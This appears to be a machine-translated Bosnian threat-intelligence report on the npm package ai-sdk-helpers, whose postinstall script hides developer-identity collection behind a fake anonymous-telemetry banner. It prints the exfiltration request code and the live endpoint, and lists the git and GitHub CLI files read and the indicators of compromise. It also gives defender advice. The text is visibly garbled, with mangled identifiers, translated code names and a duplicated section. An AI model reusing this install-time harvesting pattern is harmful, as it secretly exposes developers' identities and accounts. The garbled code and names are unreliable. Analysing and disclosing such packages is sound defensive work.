TL; DR
Jedan npm paket, ai-sdk-pomoćnici, predstavlja se kao produkcijski alat za Vercel AI SDK, nudeći praćenje troškova, vraćanje dobavljača na prethodno stanje i pomoć pri streamingu.
Njegova instalacijska skripta otvara se uglađenim banerom s opisom anonimna dijagnostika, obećavajući da se neće prenositi izvorni kod, tokeni ili akreditivi, poštujući DO_NOT_TRACK isključivanje i povezivanje sa stranicom s pravilima telemetrije.
Isti skript zatim čita git identitet programera, GitHub CLI konfiguraciju, naziv hosta mašine, korisničko ime OS-a, radni direktorij i CI provajdera.
Ti podaci se objavljuju kao JSON na krajnju tačku Google Cloud Runa, stvarajući očiglednu neusklađenost između navedene politike telemetrije i stvarno prikupljenih polja.
Paket je objavljen u dvadeset dvije verzije unutar jednog 83-sekundnog niza, a instalacijski skript je bajt po bajt identičan u svakoj označenoj verziji.
Sedam od osam verzija koje smo pregledali pipeline ML klasifikator ih je ocijenio kao neuvjerljive jer stil banera za pristanak izgleda kao legitimna telemetrija.
Mi klasifikujemo ai-sdk-helpers kao zlonamjeran na osnovu prikupljanja i eksfiltracije identiteta programera tokom instalacije.
Ozbiljnost: visoka.
Anatomija instalacije
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } nakon instalacije pokreće se automatski na npm install, prije nego što se bilo koji od reklamiranih kodova paketa ikada uveze. Skripta skripte/postinstall.js je mjesto gdje se nalazi svo ponašanje prilikom instalacije.
Otvara se blokom za komentare i obavještenjem o izvršavanju napisanim u registru projekta otvorenog koda koji vodi računa o privatnosti:
>Kada instalirate ai-sdk-helpers, pokrećemo brzu provjeru kompatibilnosti okruženja i izvještavamo anonimnu dijagnostiku... Podaci su potpuno anonimni - prikupljamo vašu platformu, verziju čvora i jednosmjerni hash identifikatora vašeg računara. Nikada se ne prenose izvorni kod, tokeni ili akreditivi.
Čak povezuje i funkcionalnu kapiju za odjavu, prvi izvršni kod u datoteci:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } Zatvaranje ove kapije prvo čini da se ostatak čita kao konsenzualan: programer koji postavlja `D_NE_PRATI` tiho dovršava instalaciju i zaključuje da paket poštuje konvenciju. Isključenje s liste je stvarno. Ono što zatvara, za sve koji ga ne postave, je kolekcija opisana u nastavku - ne uži naziv "platforma, Node verzija i jednosmjerni heš" kako je navedeno u obavijesti.
Ispod te kapije, skripta sastavlja korisni teret koji daleko prevazilazi taj opis.
- *Gidentitet.* rriješitiScmIdentitet()` eads `~.gitconfig`,`~.config/git/config`,i trenutnog projekta `.it/config`,analizira `[ser]` odjeljak i vraća konfigurirano commit e-mail. Ako nijedna konfiguracijska datoteka ne vrati e-mail, vraća se na `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,i `EAIL` varijable okruženja. Dokumentacijski niz iznad funkcije definira čitanje kao način "deduplikacije instalacija na mašinama u vlasništvu iste osobe (npr. laptop + CI)" - navedena svrha koja zahtijeva stabilan identifikator po programeru, koji... commit pribor za e-poštu.
- *GtHub račun.* rriješiGitHubIdentity()` eads `~.config/gh/hosts.yml` i `~.config/gh/hosts.yaml` konfiguracijska datoteka koju piše GitHub CLI kada se programer autentifikuje — i regex-ekstraktuje `uhm:` i `ebol:` polja. Ta datoteka također pohranjuje GitHub OAuth token; regularni izraz skripte cilja specifično na linije za korisničko ime i e-poštu i ne izdvaja token. Tvrdnja banera za otkrivanje informacija „nikakvi tokeni... se nikada ne prenose“ stoga je doslovno tačna za to jedno polje dok se okolni identifikatori računa čitaju i šalju.
- *Hst i CI otisak prsta.* Scenarij zatim sakuplja `o.naziv_hosta()`,`o.korisnickeInfo().korisnickime`,verzija, platforma i arhitektura Node-a, `pocess.cwd()`,i oznaka CI-provajdera riješena provjerom varijabli okruženja za osam provajdera (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite i dvije generičke CI zastavice). Lista provajdera se čita kao popis mjesta gdje se skripta očekuje da se izvrši - interaktivne ljuske i automatizirana izgradnja pipelineslicno.
Sve ovo je grupisano u jedno `dagnostici objekt, s poljima za svakog programera prikupljenim pod `ientitet ey i podaci o hostu pod `rvrijeme i `cntext` oči, zatim serijalizirane i prenesene:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); Odgovor se odbacuje i sve greške se gutaju - komentar napominje da „telemetrija nikada ne smije prekinuti instalaciju“. Naziv hosta krajnje tačke kodira Google Cloud Run uslugu u `erope-west1` regija.
Praznina je priča. Baner imenuje tri kategorije podataka - platformu, verziju čvora, hash identifikatora mašine. Korisni teret šalje stvarni git programera. commit e-mail, njihovo GitHub korisničko ime i e-mail, naziv hosta njihove mašine i naziv OS računa, putanju njihovog projekta i njihovo CI okruženje. Polja koja identificiraju *prson i njihovi računi* tačno polja koja objava izostavlja.
README dokument pojačava okvir s druge strane. Njegov odjeljak "Telemetrija" ponavlja tvrdnju o anonimnosti i povezuje riječ `D_NE_PRATI` o `cnsoledonottrack.com`,prava stranica zajednice koja dokumentira konvenciju o isključivanju — posuđivanje priznate privatnosti standard da se obavještenje čita kao rutina.
Timeline
Ovo je otkriće u jednom paketu s vrlo kratkom, vrlo gustom historijom objavljivanja. Nema višesedmičnog luka kampanje koji bi se mogao pratiti — cijeli raspon verzija je objavljen brzinom mašine.
| Kada (UTC) | događaj |
|---|---|
| 2026-06-03 20:31:20 | Prva verzija (0.1.0) objavljeno na npm-u. |
| 2026-06-03 20:31:20 – 20:32:43 | Svih 22 verzija (0.1.0 kroz 1.4.2) objavljeno u automatskom rafalu od 83 sekunde. |
| 2026-06-04 | Osam verzija je označeno detekcijskim signalima; ručna analiza potvrđuje prikupljanje i krađu identiteta tokom instalacije. Paket je ostao aktivan na npm-u u vrijeme analize. |
Prozor od 83 sekunde kroz 22 semantičke verzije sam po sebi je pokazatelj ponašanja: ljestvica verzija (`01.0`,`01.1`,... `14.2`)predstavlja površinu aktivno održavanog projekta s historijom izdanja, proizvedenom u jednom skriptiranom pokretanju. Instalacijska skripta se ne mijenja na toj ljestvici - pogledajte dolje.
Indikatori kompromisa
Korisni sadržaj prilikom instalacije je identičan u cijelom objavljenom rasponu verzija. A `dff` f `sript/postinstall.js` između verzija `02.1` nd verzija `14.2` ne vraća nikakve razlike; ponašanje je jedan fiksni otisak prsta, a ne evoluirajući korisni teret.
mreža
Prozor od 83 sekunde kroz 22 semantičke verzije sam po sebi je pokazatelj ponašanja: ljestvica verzija (`01.0`,`01.1`,... `14.2`)predstavlja površinu aktivno održavanog projekta s historijom izdanja, proizvedenom u jednom skriptiranom pokretanju. Instalacijska skripta se ne mijenja na toj ljestvici - pogledajte dolje.
Indikatori kompromisa
Korisni sadržaj prilikom instalacije je identičan u cijelom objavljenom rasponu verzija. A `dff` f `sript/postinstall.js` između verzija `02.1` nd verzija `14.2` ne vraća nikakve razlike; ponašanje je jedan fiksni otisak prsta, a ne evoluirajući korisni teret.
mreža
| pokazatelj | uloga |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Krajnja tačka eksfiltracije prima HTTPS POST zahtjeve sa JSON korisnim sadržajem. Hostovano na Google Cloud Run-u u europe-west1 Regija. |
Infrastruktura mamaca
| pokazatelj | uloga |
|---|---|
ai-sdk.guide | Početna stranica paketa i aktivna web stranica koja podržava identitet autora "AI SDK Guide". |
ai-sdk.guide/telemetry | URL adresa politike telemetrije navedena u obavještenju o otkrivanju informacija prilikom instalacije. |
hello@ai-sdk.guide | E-mail adresa autora navedena u package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Izvorni repozitorij deklariran od strane paketa. |
Datoteke pročitane prilikom instalacije
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` pošta
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLIhm `ebol
Bihevioralni potpisi
- – m `pstinstall` ook pozivanje uključenog Node skripta
- – vrata za isključivanje (`A_SDK_POMOĆNICI_TELEMETRIJA_ONEMOGUĆENA`,`D_NE_PRATI`)predstavljeno kao funkcija privatnosti, prije prikupljanja identiteta
- – tbound HTTPS POST JSON objekta koji sadrži git email, GitHub identitet, naziv hosta, korisničko ime OS-a, cwd i CI oznaku
- – identična instalacijska skripta preko brzo objavljene ljestvice verzija
Atribucija i uočeno ponašanje
Ne pripisujemo ništa osim onoga što su zabilježeni metapodaci paketa i registra.
NPM čuvar zapisa je račun `a`ielsimon`,sa adresom `aiel@vigilance.security`.Registar navodi tu e-mail adresu kao neprovjerenu, a identitet kontrole izvora računa kao neprovjeren. `pckage.json`,odvojeno, predstavlja autora kao „AI SDK vodič“ello@ai-sdk.guide>`”sa početnom stranicom `a-sdk.guide` i repozitorij izvornog koda pod `gOrganizacija thub.com/ai-sdk-guide. Domena e-pošte izdavačkog računa (`vigilance.security`)i identitet autora unutar paketa (`a-sdk.vodič`)su različite domene.
The `a-sdk.guide` ite je aktivan i odgovara, a `/elemetrija ath rješava — identitet mamca je podržan dostupnim web prisustvom, a ne mrtvom vezom, što povećava vjerodostojnost uokviravanja paketa.
**Uočena mogućnost.** Prilikom instalacije, paket čita identitet programera i datoteke konfiguracije računa, otiske hosta i CI okruženja i prenosi rezultat na krajnju tačku kojom upravlja operater, dok prikazuje obavještenje koje opisuje uži i anonimizirani skup podataka. Opisujemo ovo ponašanje; ne tvrdimo motiv za njega. Čitaoci koji procjenjuju paket - uključujući bilo koju stranu koja prepoznaje identitet publike - trebali bi procijeniti uočljivu neusklađenost između navedenih i stvarnih tokova podataka.
Uticaj, trendovi i smjernice za branitelje
Ko je izložen. Svako ko instalira ai-sdk-pomoćnici — direktno ili kao tranzitivna zavisnost — pokreće kolekciju na toj mašini. Budući da je okidač nakon instalacije, oglašeni kod biblioteke nikada ne mora biti uvezen da bi se protok podataka dogodio; sama instalacija je dovoljna. Okruženja najveće vrijednosti su radne stanice programera s konfiguriranim git identitetom i autentificiranim GitHub CLI-jem, te CI pokretači, gdje detekcija CI provajdera skripte ukazuje na to da se očekuje da će se kolekcija pokrenuti unutar builda. pipelinekao i na laptopima.
Šta otkriva. Ne tajne aplikacije u opštem slučaju - korisni teret se fokusira na identitetprogramerovog commit e-mail, naziv i e-mail njihovog GitHub računa, nazive mašina i računa te putanju projekta. To je prethodnocismapa ko je instalirao paket, na kojoj mašini, u kojem repozitoriju i pod kojim CI sistemom. Za organizaciju, nekoliko takvih zapisa uzetih zajedno bi nabrojalo koji su inženjeri i koji sistemi za izgradnju preuzeli zavisnost - korisno kao preteča ciljanijih narednih aktivnosti, čak i ako se vlastito ponašanje ovog paketa zaustavlja na prikupljanju i prenosu.
Trend: telemetrija kao maska. Legitimni alati za razvojne programere prikupljaju anonimizirane dijagnostičke podatke o instalaciji, kao i konvencije za poštovanje toga - obavijest o otkrivanju podataka, NE_PRATI čast, zastavica za odjavu, URL pravila - dobro su poznati. ai-sdk-pomoćnici vjerno reproducira sve četiri konvencije i koristi ih kao omotač za prikupljanje identiteta. Prisustvo banera za pristanak, funkcionalne opcije za odjavu ili linka za politiku privatnosti nije dokaz da je paket pouzdan; te kontrole je jeftino imitirati. Jedina pouzdana provjera je šta kod zapravo čita i gdje to zapravo šalje.
Ovo pakovanje takođe ima merljiv uticaj na automatizovanu trijažu. U svim verzijama naše pipeline Nakon pregleda, komentari instalacijskog skripta na jednostavnom jeziku, strukturirani nazivi polja i konvencionalna vrata za odjavu ocijenjeni su kao obična telemetrija: sedam od osam se vratilo. nejasan iz ML klasifikatora, a ne zlonamjernog. Signal koji rješava dvosmislenost nije u prozi - on je u specifičnim datotekama koje skripta otvara (~ / .gitconfig, ~/.config/gh/hosts.yml) i odredište na koje se šalje. Pregledatelj, automatizirani ili ljudski, koji pročita objavu i tu se zaustavi doći će do pogrešnog zaključka; odluka mora proizaći iz činjenica o protoku podataka.
Upute za branitelje:
- Instalacija sa podrazumevano onemogućenim skriptama — npm instalacija –ignore-scriptsili postavite ignore-scripts=true in .npmrc i eksplicitno izvršavajte provjerene korake izgradnje. Ovo neutralizira nakon instalacije-pokrenuta naplata na svim nivoima.
- Ne tretirajte kontrole za isključivanje kao signale povjerenja. NE_PRATI Provjera ili link "telemetrijske politike" ne govori vam ništa o podacima koje skripta prikuplja kada vrata nisu postavljena.
- Pročitajte instalacijski hook prije usvajanja pomoćnih paketa AI ekosistema. Vercel AI SDK prostor je brzorastuća, visoko pouzdana meta; nakon instalacije koji dodiruje ~ / .gitconfig or ~/.config/gh/ je jasan signal bez obzira na to kako su napisani okolni komentari.
- Praćenje izlaza u vrijeme izgradnje. Odlazni HTTPS POST tokom npm install, posebno za novoinstaliranu krajnju tačku cloud-funkcije, vidljiva je na mrežnom sloju i predstavlja snažnu tačku detekcije za CI okruženja.
- Pazite na komprimirane ljestvice verzija. Paket čija se cijela semantička historija verzija pojavljuje u roku od nekoliko sekundi, s nepromjenjivim instalacijskim skriptom, predstavlja proizvedenu historiju održavanja.





